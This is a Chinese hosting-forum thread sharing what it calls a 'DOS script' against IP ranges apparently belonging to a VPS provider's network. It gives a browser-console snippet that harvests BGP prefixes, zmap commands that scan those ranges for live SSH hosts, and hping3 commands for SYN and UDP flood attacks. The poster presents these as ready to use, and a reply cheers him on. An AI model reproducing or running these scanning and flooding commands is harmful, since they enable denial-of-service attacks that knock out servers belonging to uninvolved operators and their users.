全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 4524|回复: 13
打印 上一主题 下一主题

V.PS轮段脚本

 关闭 [复制链接]
跳转到指定楼层
1#
发表于 2023-5-10 23:15:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 gzchenjz 于 2023-5-10 23:21 编辑

https://bgp.he.net/AS949#_prefixes
https://bgp.he.net/AS4785#_prefixes
https://bgp.he.net/AS3214#_prefixes
https://bgp.he.net/AS6233#_prefixes
https://bgp.he.net/AS8888#_prefixes
https://bgp.he.net/AS9312#_prefixes
https://bgp.he.net/AS23959#_prefixes
https://bgp.he.net/AS43357#_prefixes

F12控制台输入下面代码采集IP段到剪贴板
  1. var tmp = ''
  2. $('tr a').each(function(){
  3.     var a = $(this)[0];
  4.     if(a.href.startsWith('https://bgp.he.net/net/')) {
  5.         tmp += a.text + '\n';
  6.         console.log(a.text);
  7.     }
  8. });
  9. copy(tmp);
复制代码



ip段保存到ips.txt,zmap扫描存活机器:
  1. apt install -y zmap
  2. zmap -p 22 -o p22.txt -w ips.txt
复制代码


DOS脚本(我写了个go程序自动化了)
  1. apt install -y hping3

  2. # syn
  3. hping3 -p 22 -S --flood -V x.x.x.1

  4. # udp小包
  5. hping3 -2 -p 53 --flood -V xxx
  6. # udp大包(1400改成机器mtu)
  7. hping3 -2 -p 53 -d 1400 --flood -V x.x.x.1
复制代码
8#
发表于 2023-5-10 23:18:58 | 只看该作者
正义的使者
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-4-27 15:24 , Processed in 0.066505 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表